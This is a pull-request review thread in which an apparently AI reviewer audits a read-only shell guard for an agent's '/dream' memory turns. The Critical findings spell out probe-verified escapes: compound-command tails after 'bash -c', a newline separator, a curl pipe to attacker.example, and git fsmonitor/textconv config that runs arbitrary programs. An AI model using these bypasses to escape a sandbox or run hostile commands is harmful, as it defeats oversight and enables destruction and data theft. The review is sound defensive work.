Test Plan (not a blocker): src/core/tool-invocation-guard.test.ts — no such file or directory; src/core/coreToolScheduler.test.ts — no such file or directory; src/core/nonInteractiveToolExecutor.test.ts — no such file or directory; src/memory/dreamAgentPlanner.test.ts — no such file or directory; src/memory/memory-scoped-agent-config.test.ts — no such file or directory; and 10 more.
中文说明
仅完成部分审查，审查缺口已披露。
未审查：build-and-test — Integration Tests (CLI, No Sandbox) was skipped in CI and its suite did not run locally。
未探索到全部深度（达到工具调用预算）："PR #8357 (QwenLM/qwen-code) extends deterministic…"：I did not verify speculation's trigger conditions (whether it runs interleaved during an active dream turn) — dissolved on the gate analysis anyway (writes go t…；"PR #8357 (QwenLM/qwen-code) extends deterministic…"：did not trace speculation's trigger conditions (whether it runs interleaved during an active turn) — dissolved anyway by the gate analysis above.；"PR #8357 (QwenLM/qwen-code) extends deterministic…"：did not run the test suite (review-only scope; relied on reading the test sources cited above).；"PR #8357 (QwenLM/qwen-code) extends deterministic…"：none — all checks above completed within budget; I did not run the test suites (static review only), and diff content past line 2775 belongs to other chunks.；"PR #8357 (QwenLM/qwen-code) extends deterministic…"：none — all checks I started were completed (~12 tool calls used).，另有 32 条。
Test Plan（非阻断）：src/core/tool-invocation-guard.test.ts — no such file or directory; src/core/coreToolScheduler.test.ts — no such file or directory; src/core/nonInteractiveToolExecutor.test.ts — no such file or directory; src/memory/dreamAgentPlanner.test.ts — no such file or directory; src/memory/memory-scoped-agent-config.test.ts — no such file or directory; and 10 more。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| const decision = await evaluateScopedDecision( | ||
| permissionContext, | ||
| projectRoot, | ||
| opts, | ||
| pinnedRoots, | ||
| ); |
There was a problem hiding this comment.
[Critical] R4-1: The dream guard's shell check validates only the wrapped inner command: stripShellWrapper returns the single token after -c and silently drops any outer operator tail (&&, ;, ||, |), so the read-only AST check sees git diff while the real shell executes the full compound. Probe-verified through this very guard: bash -c 'git diff' && touch /tmp/pwn8357 → {allowed: true}; bash -c 'ls' ; rm -rf /tmp/pwn8357 → allowed; sh -c 'ls' | curl http://attacker.example → allowed; even the unquoted bash -c ls && touch … → allowed. The unwrap helper pre-exists, but this diff newly attaches the pipeline to user-visible /dream turns, and the design-doc change asserts the property the escape defeats ("shell is read-only"). — Failure scenario: during a guarded /dream turn — which ingests arbitrary memory-file and transcript content, the prompt-injection surface the guard exists to contain — the model emits run_shell_command {command: "bash -c 'git diff' && rm -rf .qwen/memories/pinned"} → complete escape of the read-only shell boundary: arbitrary writes/deletes (including pinned/ overwrite via shell, which the write_file/edit denies cannot prevent), data exfiltration, arbitrary command execution under the protection this PR claims.
Suggested fix: in stripShellWrapper (shell-utils.ts), return the unwrapped inner command only when nothing follows it — if the remaining tail is non-empty, return the original command so the AST checker top-level-splits the compound and denies the mutating tail. Probe-verified: the fix flips all four escapes to denied while git diff and bash -c 'git diff' stay allowed. Note: the forked-worker path shares the same hole via evaluateScopedDecision.
中文说明
[Critical] R4-1:dream 守卫的 shell 检查只验证包装器内部命令:stripShellWrapper 仅返回 -c 之后的单个 token,悄悄丢弃任何外层操作符尾部(&&、;、||、|),因此只读 AST 检查看到的是 git diff,而真实 shell 执行的是完整复合命令。已通过本守卫自身探针验证:bash -c 'git diff' && touch /tmp/pwn8357 → {allowed: true};bash -c 'ls' ; rm -rf /tmp/pwn8357 → 允许;sh -c 'ls' | curl http://attacker.example → 允许;甚至未加引号的 bash -c ls && touch … → 允许。解包辅助函数是既有代码,但本 diff 将该管线新挂载到用户可见的 /dream 回合,且设计文档变更声明了该逃逸所破坏的属性("shell 是只读的")。失败场景:在受守卫的 /dream 回合中(该回合摄取任意记忆文件与转录内容——正是守卫要限制的 prompt-injection 面),模型发出 run_shell_command {command: "bash -c 'git diff' && rm -rf .qwen/memories/pinned"} → 完全逃逸只读 shell 边界:任意写入/删除(包括经由 shell 覆盖 pinned/,write_file/edit 的拒绝无法阻止)、数据外泄、在本 PR 声称的保护下执行任意命令。
建议修复:在 stripShellWrapper(shell-utils.ts)中,仅当内部命令之后没有其他内容时才返回解包后的内部命令——若剩余尾部非空,则返回原始命令,让 AST 检查器在顶层拆分复合命令并拒绝 mutating 尾部。已用探针验证:该修复使全部四种逃逸翻转为拒绝,同时 git diff 与 bash -c 'git diff' 仍被允许。另注:forked-worker 路径经由 evaluateScopedDecision 共享同一漏洞。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| execFileSync('git', ['config', 'core.fsmonitor', 'untrusted-fsmonitor'], { | ||
| cwd: projectRoot, | ||
| }); | ||
| await expect(evaluate('git status')).resolves.toEqual({ | ||
| allowed: false, | ||
| reason: 'ManagedAutoMemory(run_shell_command: read-only only)', | ||
| }); |
There was a problem hiding this comment.
[Critical] R4-2: The repository-local Git safety this new test asserts only fires for git status when core.fsmonitor is set; the guard still ALLOWS git diff, git diff HEAD, and git ls-files, and git executes the configured fsmonitor program for exactly those commands. Probe-verified on this runner: all three commands executed a marker-creating fsmonitor script while the guard returned {allowed: true}; localGitConfigMakesCommandUnsafe (shellAstParser.ts) scopes fsmonitor risk to the status subcommand only, and its subcommand scan never reaches ls-files. — Failure scenario: a project whose .git/config carries core.fsmonitor = <program> (planted via an archived repo tarball including .git/, or any actor with working-copy write access); during a guarded /dream turn the model runs git diff — classified read-only and allowed — which executes the configured program: arbitrary code execution inside the protection the PR claims.
Suggested fix: in localGitConfigMakesCommandUnsafe, when risk.fsmonitor is present do not restrict the unsafe verdict to usesStatus; treat at least every index-refreshing read-only subcommand (status, diff, ls-files) as unsafe and widen the subcommand scan. Extend this test with await expect(evaluate('git diff')).resolves.toEqual({ allowed: false, ... }) under the fsmonitor config.
中文说明
[Critical] R4-2:这个新测试断言的仓库本地 Git 安全检查只在 core.fsmonitor 被设置时对 git status 生效;守卫仍然允许 git diff、git diff HEAD 和 git ls-files,而 git 恰恰会对这些命令执行所配置的 fsmonitor 程序。已在本 runner 上用探针验证:三个命令都执行了一个创建标记文件的 fsmonitor 脚本,而守卫返回 {allowed: true};localGitConfigMakesCommandUnsafe(shellAstParser.ts)把 fsmonitor 风险仅限定在 status 子命令,且其子命令扫描根本覆盖不到 ls-files。失败场景:某项目 .git/config 中带有 core.fsmonitor = <程序>(可通过包含 .git/ 的归档仓库 tarball 植入,或任何拥有工作副本写权限的行为者);在受守卫的 /dream 回合中,模型运行 git diff——被分类为只读并放行——该命令随即执行所配置的程序:在本 PR 声称的保护内部实现任意代码执行。
建议修复:在 localGitConfigMakesCommandUnsafe 中,当存在 risk.fsmonitor 时,不要把不安全判定局限于 usesStatus;至少把每个会刷新索引的只读子命令(status、diff、ls-files)视为不安全,并拓宽子命令扫描范围。在本测试中补充 fsmonitor 配置下 await expect(evaluate('git diff')).resolves.toEqual({ allowed: false, ... })。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| expect(toolInvocationGuard).toHaveBeenCalledWith({ | ||
| callId: 'guarded-read', | ||
| toolName: core.ToolNames.READ_FILE, | ||
| args: {}, | ||
| signal: expect.any(AbortSignal), | ||
| }); |
There was a problem hiding this comment.
[Suggestion] R4-5: The args: {} assertion here (and at :21468) is an artifact of mockAllowedTool hardcoding params: {} in its build mock — the test invokes the call with real args and production passes invocation.params to evaluateToolInvocationGuards (Session.ts:10071), so the assertion records the mock's artifact, not the production contract, and actively asserts the opposite of production behavior. — Failure scenario: if a future change to Session.runTool passed {} or stale params into evaluateToolInvocationGuards, both direct tests stay green (only the end-to-end slash test, which uses a params-threading build mock, would catch it); the assertion also misleads future guard-policy authors toward an empty-args contract.
Suggested fix: thread params through the mock as the Stop-hook test already does (build: vi.fn().mockImplementation((params) => ({ params, execute, ... }))) and assert the real args, e.g. args: { file_path: '/workspace/a.md' }.
中文说明
[Suggestion] R4-5:此处的 args: {} 断言(以及 :21468 处)是 mockAllowedTool 在其 build mock 中硬编码 params: {} 造成的假象——测试调用时传入了真实参数,而生产代码把 invocation.params 传给 evaluateToolInvocationGuards(Session.ts:10071),因此该断言记录的是 mock 的假象而非生产契约,并且主动断言了与生产行为相反的结论。失败场景:若未来对 Session.runTool 的修改把 {} 或过期参数传入 evaluateToolInvocationGuards,这两个直接测试仍为绿色(只有使用参数透传 build mock 的端到端 slash 测试能捕获);该断言还会把未来的守卫策略作者误导到空参数契约上。
建议修复:像 Stop-hook 测试那样让 mock 透传参数(build: vi.fn().mockImplementation((params) => ({ params, execute, ... }))),并断言真实参数,例如 args: { file_path: '/workspace/a.md' }。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| const result = setupProcessorHook([skillA, skillB]); | ||
| await waitFor(() => expect(result.current.slashCommands).toHaveLength(2)); | ||
|
|
||
| let actionResult: SlashCommandProcessorResult | false = false; |
There was a problem hiding this comment.
[Suggestion] R4-6: This line references SlashCommandProcessorResult but never imports it — a genuine TS2304 (the type is exported from ../types.js; the file's imports don't include it and there is no ambient declaration). It does not fail today only because this file is in the tsconfig exclude list under // TODO(5691): Fix type errors and remove excludes., and vitest transpiles without typechecking. — Concrete cost: IDE/LSP shows the error now, and the moment this file re-enters npm run typecheck (the stated purpose of the TODO(5691) excludes is to be removed), this line breaks typecheck for whoever lifts the exclude.
| let actionResult: SlashCommandProcessorResult | false = false; | |
| let actionResult: import('../types.js').SlashCommandProcessorResult | false = false; |
(prefer adding SlashCommandProcessorResult to the existing import type { ... } from '../types.js'; block instead)
中文说明
[Suggestion] R4-6:这一行引用了 SlashCommandProcessorResult 但从未导入它——真实的 TS2304(该类型从 ../types.js 导出;本文件的 import 不包含它,也没有环境声明)。今天不报错仅因为该文件在 tsconfig 的 exclude 列表中(// TODO(5691): Fix type errors and remove excludes.),且 vitest 转译时不做类型检查。具体代价:IDE/LSP 现在就会显示错误;一旦该文件重新进入 npm run typecheck(TODO(5691) 排除列表的既定目的就是被移除),这一行会让移除排除的人面对 typecheck 失败。
建议把 SlashCommandProcessorResult 加入现有的 import type { ... } from '../types.js'; 导入块。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| return await runWithRuntimeContentGenerator(runtimeView, () => | ||
| this._schedule(request, signal), | ||
| this._schedule(request, signal, undefined, toolInvocationGuard), | ||
| ); |
There was a problem hiding this comment.
[Suggestion] R4-7: Guard forwarding through this runtimeView (full-turn model runtime) branch of _schedule has no test: every new guard test passes runtimeView: undefined, the pre-existing runtimeView tests predate guards, and useReactToolScheduler.test.tsx stubs CoreToolScheduler.schedule itself — so this forwarding is pinned by nothing. — Failure scenario: a stacked skill (or inline /model) combining a modelOverride with a toolInvocationGuard schedules through this branch; a future edit dropping the fourth argument executes the scoped turn's tools with no turn guard — a /dream-style turn could write_file outside managed memory or into pinned/ — with no test turning red.
Suggested fix: add a coreToolScheduler.test.ts case that schedules with both a runtimeView and a denying turn guard and asserts the guard is invoked and execution is blocked (mirroring 'composes host and per-schedule guards with the invocation context').
中文说明
[Suggestion] R4-7:_schedule 的这个 runtimeView(整回合模型运行时)分支对守卫的转发没有任何测试:所有新守卫测试都传 runtimeView: undefined,既有的 runtimeView 测试早于守卫特性,而 useReactToolScheduler.test.tsx 直接 stub 了 CoreToolScheduler.schedule——因此这个转发完全没有被固化。失败场景:组合了 modelOverride 与 toolInvocationGuard 的堆叠 skill(或内联 /model)经由该分支调度;未来某次编辑删掉第四个参数后,受作用域限制回合的工具将在没有回合守卫的情况下执行——/dream 式回合可以 write_file 到托管记忆之外或 pinned/ 内——而没有任何测试变红。
建议修复:在 coreToolScheduler.test.ts 中新增一个同时带 runtimeView 和拒绝型回合守卫的调度用例,断言守卫被调用且执行被阻止(仿照 'composes host and per-schedule guards with the invocation context')。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| const evaluate = (command: string) => | ||
| guard({ | ||
| callId: `call-${command}`, | ||
| toolName: ToolNames.SHELL, | ||
| args: { command, directory: projectRoot }, | ||
| signal: new AbortController().signal, | ||
| }); |
There was a problem hiding this comment.
[Suggestion] R4-18: This 'applies repository-local Git safety checks in the requested directory' test always passes directory: projectRoot — identical to the guard's fallback (ctx.cwd ?? projectRoot) — so it has no discriminating power over the property its name claims: 'probe runs against the requested directory' and 'probe always runs against the guard's project root' are observationally identical to it. — Failure scenario: a future simplification dropping the requested directory keeps this test green; then during a guarded /dream turn, run_shell_command {command: 'git diff', directory: '<repo whose local config sets diff.external>'} is risk-checked against the benign project-root config → allowed as read-only → git executes the configured external diff program: arbitrary command execution through the turn's read-only shell boundary.
Suggested fix: make the test counterfactual: create a second directory (its own git init with diff.external set) and evaluate git diff with directory: <second dir> expecting denial, plus the same command with directory: projectRoot (no risky config) expecting allow.
中文说明
[Suggestion] R4-18:这个名为"在请求的目录中应用仓库本地 Git 安全检查"的测试总是传 directory: projectRoot——与守卫的回退值(ctx.cwd ?? projectRoot)完全相同——因此对它名字所声称的属性没有区分能力:"探针在请求目录上运行"与"探针总在守卫的项目根上运行"在它看来完全一样。失败场景:未来某个丢弃请求目录的简化能让本测试保持绿色;随后在受守卫的 /dream 回合中,run_shell_command {command: 'git diff', directory: '<本地配置了 diff.external 的仓库>'} 会按良性的项目根配置做风险检查 → 作为只读被允许 → git 执行所配置的 external diff 程序:经由回合的只读 shell 边界实现任意命令执行。
建议修复:让测试具备反事实能力:创建第二个目录(自己的 git init 并设置 diff.external),以 directory: <第二目录> 评估 git diff 期望拒绝,再以 directory: projectRoot(无风险配置)评估同一命令期望允许。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| const stopContinuation = vi.mocked(mockChat.sendMessageStream).mock | ||
| .calls[1]?.[1] as { message: Part[] }; | ||
| expect(stopContinuation.message).toContainEqual({ | ||
| text: MANUAL_DREAM_TOOL_GUARD_MARKER, | ||
| }); |
There was a problem hiding this comment.
[Suggestion] R4-19: Every new ACP dream-guard test mocks both ends of the provenance chain — handleSlashCommand returns marker-bearing content AND mockChat.getHistory returns a static dream-marked history — so no test verifies that a marker sent through the real path (#processSlashCommandResult → normalize/bridge conversions → chat-history push) actually lands in the API history that recoverManualDreamToolInvocationGuard later reads; the headless recovery tests inject history the same way. The intermediate conversions pass text through untouched today, so this is a coverage gap, not an active bug. — Failure scenario: a future change filtering or failing to persist the <qwen-code-turn-policy> tag between slash-result content and the persisted history entry (e.g. a transcript-hygiene or marker-leak filter) keeps every test green; an interrupted /dream resumed via continueLastTurn/continueInterrupted finds no marker → recovery returns undefined → the remainder executes with the full tool surface, including writes into pinned/.
Suggested fix: in one E2E test, close the loop instead of mocking both ends: make the mock chat's history dynamic (append each user message passed to sendMessageStream/addHistory to the array getHistory returns), run a /dream turn, and assert recoverManualDreamToolInvocationGuard(config, <history accumulated from real sends>) returns a defined guard.
中文说明
[Suggestion] R4-19:每个新的 ACP dream 守卫测试都 mock 了 provenance 链的两端——handleSlashCommand 返回带 marker 的内容,且 mockChat.getHistory 返回静态的带 dream marker 历史——因此没有测试验证经由真实路径发送的 marker(#processSlashCommandResult → normalize/bridge 转换 → chat-history push)真的落入 recoverManualDreamToolInvocationGuard 之后读取的 API 历史;无头恢复测试也以同样方式注入历史。中间的转换今天原样透传文本,所以这是覆盖缺口而非现行 bug。失败场景:未来某个在 slash 结果内容与持久化历史条目之间过滤或未能持久化 <qwen-code-turn-policy> 标签的变更(如转录清理或 marker 泄漏过滤器)能让所有测试保持绿色;经 continueLastTurn/continueInterrupted 恢复的被中断 /dream 找不到 marker → 恢复返回 undefined → 剩余部分以完整工具面执行,包括写入 pinned/。
建议修复:在一个 E2E 测试中闭合环路而不是 mock 两端:让 mock chat 的历史动态化(把传给 sendMessageStream/addHistory 的每条用户消息追加到 getHistory 返回的数组),运行一个 /dream 回合,并断言 recoverManualDreamToolInvocationGuard(config, <从真实发送累积的历史>) 返回已定义的守卫。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| flushQueuedNotificationsToSdk(localQueue); | ||
| await runFullTurnOnComplete(); | ||
| finalizeOneShotMonitors(); |
There was a problem hiding this comment.
[Suggestion] R4-20: The new turn-boundary deferral holds teammate messages in pendingTeammateMessages across the tool chain, but the structured-output success exit (this block) returns without draining or flushing them, silently dropping queued teammate input that the pre-deferral code merged into the final tool-response entry (and thus persisted to history). The loss window widens from 'messages arriving during the last batch' to 'the entire remainder of the chain'. — Failure scenario: during a headless turn with --json-schema, a teammate message lands while the tool chain is in flight; the chain ends with a structured_output call and emitStructuredSuccess() returns 0 with pendingTeammateMessages still populated — the message is never sent, never persisted (a later qwen --continue of that session cannot see it), and the model's final structured answer could not react to it.
Suggested fix: in emitStructuredSuccess (and optionally the other terminal early-returns), drain or explicitly flush pendingTeammateMessages before return 0 — e.g. append them to history via geminiClient.addHistory({ role: 'user', parts: [{ text: batch.join('\n\n') }] }) — or document the deliberate drop at the deferral site.
中文说明
[Suggestion] R4-20:新的回合边界延迟机制把 teammate 消息在整个工具链期间保存在 pendingTeammateMessages 中,但 structured-output 成功出口(此块)返回时没有 drain 或 flush 它们,悄悄丢弃了排队的 teammate 输入——延迟前的代码会把它们并入最终工具响应条目(从而持久化进历史)。丢失窗口从"最后一批期间到达的消息"扩大到"整条链的剩余部分"。失败场景:带 --json-schema 的无头回合中,工具链进行中 teammate 消息到达;链以 structured_output 调用结束,emitStructuredSuccess() 在 pendingTeammateMessages 仍有内容时返回 0——消息从未发送、从未持久化(之后对该会话的 qwen --continue 看不到它),模型的最终结构化回答也无法对其作出反应。
建议修复:在 emitStructuredSuccess(以及可选的其他终端提前返回)中,于 return 0 之前 drain 或显式 flush pendingTeammateMessages——例如经由 geminiClient.addHistory({ role: 'user', parts: [{ text: batch.join('\n\n') }] }) 追加进历史——或在延迟点注明这是刻意丢弃。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| await act(async () => { | ||
| await result.current.submitQuery( | ||
| [{ text: 'guarded tool result' }], | ||
| SendMessageType.ToolResult, | ||
| 'guarded-prompt', | ||
| ); | ||
| }); |
There was a problem hiding this comment.
[Suggestion] R4-21: All four new TUI guard tests drive tool-result continuations by calling submitQuery directly with an explicit prompt id; because useToolScheduler is fully mocked (scheduled tools never complete), no test executes the only production mechanism that carries the guard into batches after the first — the tool-completion handler deriving the continuation prompt id from the completed requests (prompt_ids[0] ?? pendingDuplicatePromptId, useGeminiStream.ts:4435-4438) and passing it into the continuation submitQuery (:4714). TUI-side analogue of the confirmed ACP batches-2+ gap, on a distinct code path. — Failure scenario: a refactor dropping or corrupting the request-derived prompt id in the completion handler's continuation submit leaves all four tests green — the continuation generates a fresh prompt id, misses the stamp comparison (:3613), and schedules without the guard; every multi-batch /dream TUI turn executes batches 2+ on the full tool surface, including writes/deletes under pinned/.
Suggested fix: add a test in which scheduled tools complete through the hook's real completion flow (wire the useToolScheduler mock so completions invoke the hook's completion callback) for a guarded /dream turn, and assert mockScheduleToolCalls receives the guard for the second batch.
中文说明
[Suggestion] R4-21:四个新的 TUI 守卫测试都用显式 prompt id 直接调用 submitQuery 来驱动工具结果续轮;由于 useToolScheduler 被完全 mock(调度的工具永不完成),没有测试执行唯一把守卫带进第一批之后批次的生产机制——工具完成处理器从已完成请求推导续轮 prompt id(prompt_ids[0] ?? pendingDuplicatePromptId,useGeminiStream.ts:4435-4438)并传入续轮 submitQuery(:4714)。这是已确认的 ACP 第 2 批及之后缺口在 TUI 侧的对应物,位于不同代码路径。失败场景:在完成处理器的续轮提交中丢弃或破坏请求来源 prompt id 的重构能让四个测试全部保持绿色——续轮生成新的 prompt id,错过戳记比对(:3613),在没有守卫的情况下调度;每个多批次 /dream TUI 回合的第 2 批及之后都以完整工具面执行,包括写入/删除 pinned/ 下的内容。
建议修复:新增一个测试,让调度的工具经由 hook 的真实完成流程完成(接线 useToolScheduler mock 使完成时调用 hook 的完成回调),针对受守卫的 /dream 回合,断言 mockScheduleToolCalls 在第二批收到守卫。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| type: 'submit_prompt', | ||
| content: [{ text: 'Complete this turn' }], | ||
| onComplete, | ||
| }), |
There was a problem hiding this comment.
[Suggestion] R4-22: No headless consumer test passes toolInvocationGuard and onComplete together on one slash-command result — the six new tests split the fields — yet the only real producer, dreamCommand, ships both simultaneously in headless mode (dreamCommand.ts:66-67; its own test proves that shape). Probe-verified: refactoring the consumer into if (toolInvocationGuard) {...} else if (onComplete) {...} keeps all 133 tests green. — Failure scenario: such a refactor makes headless qwen -p /dream lose writeDreamManualRun (guard present ⇒ else-if never reached): lastDreamAt stays stale and the scheduler fires a redundant auto-dream in the same session; the inverse branch drops the guard and reopens writes into pinned/.
Suggested fix: in one of the new tests (e.g. the full-turn guard test), return both toolInvocationGuard and onComplete from the mock command and assert both: the guard reaches executeToolCall options for every batch AND onComplete is called exactly once after finalization — mirroring dreamCommand's headless result shape.
中文说明
[Suggestion] R4-22:没有任何无头消费者测试在同一个 slash 命令结果上同时传入 toolInvocationGuard 和 onComplete——六个新测试把两个字段分开——但唯一真实的生产者 dreamCommand 在无头模式下同时提供两者(dreamCommand.ts:66-67;它自己的测试证明了该形态)。已用探针验证:把消费者重构成 if (toolInvocationGuard) {...} else if (onComplete) {...} 后全部 133 个测试保持绿色。失败场景:此类重构让无头 qwen -p /dream 丢失 writeDreamManualRun(守卫存在 ⇒ else-if 永不到达):lastDreamAt 保持过期,调度器在同一会话触发冗余 auto-dream;反向分支则丢弃守卫,重新打开对 pinned/ 的写入。
建议修复:在某个新测试中(例如整回合守卫测试),让 mock 命令同时返回 toolInvocationGuard 和 onComplete,并断言两者:守卫到达每批的 executeToolCall options,且 onComplete 在收尾后恰好被调用一次——镜像 dreamCommand 的无头结果形态。
— qwen3.8-max via Qwen Code /review (v0.21.11)
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed.
Not reviewed: build-and-test — Integration Tests (CLI, No Sandbox) was skipped in CI and its suite did not run locally.
Not explored to full depth (tool budget reached): "You are review agent reverse-audit — Reverse audit agent…": none — all checks above completed within budget.; "You are review agent reverse-audit — Reverse audit agent…": none — all checks above completed within budget.; "You are review agent reverse-audit — Reverse audit agent…": did not trace Session.ts:4764/5091 preserveManualDreamToolGuardMarker call sites in depth (Session.ts belongs to another chunk; R5-12 already covers its unsen…; "You are review agent reverse-audit — Reverse audit agent…": did not empirically verify pager suppression under the shell tool's non-TTY capture (assumed, and the gate code is outside this chunk).**; "You are review agent reverse-audit — Reverse audit agent…": none — the walk completed within budget., and 26 more.
Test Plan (not a blocker): src/core/tool-invocation-guard.test.ts — no such file or directory; src/core/coreToolScheduler.test.ts — no such file or directory; src/core/nonInteractiveToolExecutor.test.ts — no such file or directory; src/memory/dreamAgentPlanner.test.ts — no such file or directory; src/memory/memory-scoped-agent-config.test.ts — no such file or directory; and 10 more.
中文说明
仅完成部分审查，审查缺口已披露。
未审查：build-and-test — Integration Tests (CLI, No Sandbox) was skipped in CI and its suite did not run locally。
未探索到全部深度（达到工具调用预算）："You are review agent reverse-audit — Reverse audit agent…"：none — all checks above completed within budget.；"You are review agent reverse-audit — Reverse audit agent…"：none — all checks above completed within budget.；"You are review agent reverse-audit — Reverse audit agent…"：did not trace Session.ts:4764/5091 preserveManualDreamToolGuardMarker call sites in depth (Session.ts belongs to another chunk; R5-12 already covers its unsen…；"You are review agent reverse-audit — Reverse audit agent…"：did not empirically verify pager suppression under the shell tool's non-TTY capture (assumed, and the gate code is outside this chunk).**；"You are review agent reverse-audit — Reverse audit agent…"：none — the walk completed within budget.，另有 26 条。
Test Plan（非阻断）：src/core/tool-invocation-guard.test.ts — no such file or directory; src/core/coreToolScheduler.test.ts — no such file or directory; src/core/nonInteractiveToolExecutor.test.ts — no such file or directory; src/memory/dreamAgentPlanner.test.ts — no such file or directory; src/memory/memory-scoped-agent-config.test.ts — no such file or directory; and 10 more。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| } | ||
| const isReadOnly = await isShellCommandReadOnlyASTInDirectory( | ||
| stripShellWrapper(ctx.command), | ||
| normalizeMonitorCommand(ctx.command).safetyCommand, |
There was a problem hiding this comment.
[Critical] Shell-guard newline-wrapper bypass: bash -c 'X'\nY slips past the read-only check. normalizeMonitorCommand(...).safetyCommand re-joins the tail after a quoted -c argument with trimStart() + a space, so a NEWLINE separator is erased and the second command is re-presented to the AST as positional arguments of the first — classified read-only and allowed, while real bash executes both. — Failure scenario: a guarded /dream turn issues bash -c 'git status'\ntouch <path> (or rm -rf …, or a pinned-file write) → safetyCommand becomes git status touch <path> → the AST sees one read-only command → the guard returns {allowed:true}; real bash executes both lines. Probe-verified at the reviewed commit (allowed:true); preserving the separator flips the decision to deny. Operator tails (&&, ;, |, >) are correctly denied — the newline/CRLF separator is the surviving sibling of the R4-1 bypass.
Suggested fix: preserve a command separator when re-joining — join with ; (or keep the original gap untrimmed) whenever an inner-args suffix exists, so tree-sitter sees two statements; a correct fix must still distinguish genuine positional args to bash -c from a separate command.
中文说明
Shell 守卫换行包装绕过：bash -c 'X'\nY 可绕过只读检查。normalizeMonitorCommand(...).safetyCommand 用 trimStart() + 空格重新拼接引号 -c 参数之后的尾部，换行分隔符被抹掉，第二条命令被当作第一条命令的位置参数重新呈现给 AST —— 被判为只读并放行，而真实 bash 会执行两条命令。 — 失败场景：受守卫的 /dream 回合发出 bash -c 'git status'\ntouch <path>（或 rm -rf …、pinned 文件写入）→ safetyCommand 变为 git status touch <path> → AST 只看到一条只读命令 → 守卫返回 {allowed:true}；真实 bash 执行两行。已在被审查提交上探针验证（allowed:true）；保留分隔符后判定翻转为拒绝。操作符尾部（&&、;、|、>）已被正确拒绝 —— 换行/CRLF 分隔符是 R4-1 绕过后存活的兄弟变体。 建议修复：重新拼接时保留命令分隔符 —— 存在内部参数后缀时用 ; 拼接（或保留原始间隙不做 trim），使 tree-sitter 看到两条语句；正确的修复仍需区分真正传给 bash -c 的位置参数与独立命令。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| getArgumentNodes(command)[0]?.text ?? '', | ||
| ).toLowerCase(); | ||
| if (subcommand !== 'diff' && subcommand !== 'status') continue; | ||
| if (!['diff', 'ls-files', 'status'].includes(subcommand)) continue; |
There was a problem hiding this comment.
[Critical] diff.<driver>.textconv repo-local config executes arbitrary programs through allowed git diff / git log -p / git show, but getLocalGitConfigRisk (git-config-safety.ts:41-44) only greps ^diff\.external$|^core\.fsmonitor$ — the textconv vector is invisible to the probe. — Failure scenario: a repo (e.g. freshly cloned, attacker-shaped) contains .gitattributes *.bin diff=evil and local config diff.evil.textconv = <arbitrary command>; during a /dream turn the model runs git diff, git log -p, or git show — all classified read-only and allowed; real git executes the textconv program for each matching file. Probe-verified on git 2.43: marker files created by all three commands while the guard returned {allowed:true}. git log -p/git show do not honor config-only diff.external on this git version, so textconv is strictly a wider vector than the one the probe models.
Suggested fix: extend getLocalGitConfigRisk to also match ^diff\..*\.textconv$ (any local/worktree-scoped entry is risk), and consider widening the gated subcommand set for textconv risk to log/show, which execute textconv drivers too.
中文说明
diff.<driver>.textconv 仓库本地配置可通过被放行的 git diff / git log -p / git show 执行任意程序，但 getLocalGitConfigRisk（git-config-safety.ts:41-44）只 grep ^diff\.external$|^core\.fsmonitor$ —— textconv 向量对该探测不可见。 — 失败场景：某仓库（如刚克隆的、被攻击者构造的仓库）包含 .gitattributes *.bin diff=evil 与本地配置 diff.evil.textconv = <任意命令>；/dream 回合中模型运行 git diff、git log -p 或 git show —— 均被判为只读并放行；真实 git 会为每个匹配文件执行 textconv 程序。已在 git 2.43 上探针验证：三条命令都创建了标记文件，而守卫返回 {allowed:true}。该 git 版本上 git log -p/git show 不会执行仅配置的 diff.external，因此 textconv 是比探测所建模向量更宽的向量。 建议修复：扩展 getLocalGitConfigRisk 使其同时匹配 ^diff\..*\.textconv$（local/worktree 作用域的任何此类条目均视为风险），并考虑把 textconv 风险的受控子命令集合扩展到 log/show（它们也会执行 textconv 驱动）。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| getArgumentNodes(command)[0]?.text ?? '', | ||
| ).toLowerCase(); | ||
| if (subcommand !== 'diff' && subcommand !== 'status') continue; | ||
| if (!['diff', 'ls-files', 'status'].includes(subcommand)) continue; |
There was a problem hiding this comment.
[Critical] The fsmonitor execution gate omits git blame and git grep: both are in READ_ONLY_GIT_SUBCOMMANDS and both empirically invoke a program-valued repo-local core.fsmonitor, but the gate only downgrades diff/ls-files/status. — Failure scenario: a repository with .git/config core.fsmonitor set to a program (a malicious clone, or one planted earlier); during a /dream turn the model runs git grep TODO or git blame <file> — ordinary consolidation commands — classified read-only and allowed; git executes the fsmonitor hook → arbitrary code execution through the guard this PR exists to enforce. Live-verified on git 2.43: the hook fired for blame and grep (as it did for the gated status/diff/ls-files, and not for branch -v); the guard returned {allowed:true} for both until they were added to the gate (flip verified).
| if (!['diff', 'ls-files', 'status'].includes(subcommand)) continue; | |
| if (!['diff', 'ls-files', 'status', 'blame', 'grep'].includes(subcommand)) continue; |
中文说明
fsmonitor 执行门禁遗漏了 git blame 和 git grep：两者都在 READ_ONLY_GIT_SUBCOMMANDS 中，且实测都会调用程序值的仓库本地 core.fsmonitor，但门禁只降级 diff/ls-files/status。 — 失败场景：某仓库的 .git/config 将 core.fsmonitor 设为一个程序（恶意克隆，或先前被植入）；/dream 回合中模型运行 git grep TODO 或 git blame <file> —— 都是普通的整合命令 —— 被判为只读并放行；git 执行 fsmonitor 钩子 → 通过本 PR 本要强制执行的守卫实现任意代码执行。已在 git 2.43 上实测验证：钩子对 blame 和 grep 触发（与受控的 status/diff/ls-files 相同，branch -v 不触发）；在把两者加入门禁前守卫对它们返回 {allowed:true}（翻转已验证）。
（修复代码见上方英文 suggestion 块）
— qwen3.8-max via Qwen Code /review (v0.21.11)
| await runFullTurnOnComplete(); | ||
| if (fullTurnToolInvocationGuard) { |
There was a problem hiding this comment.
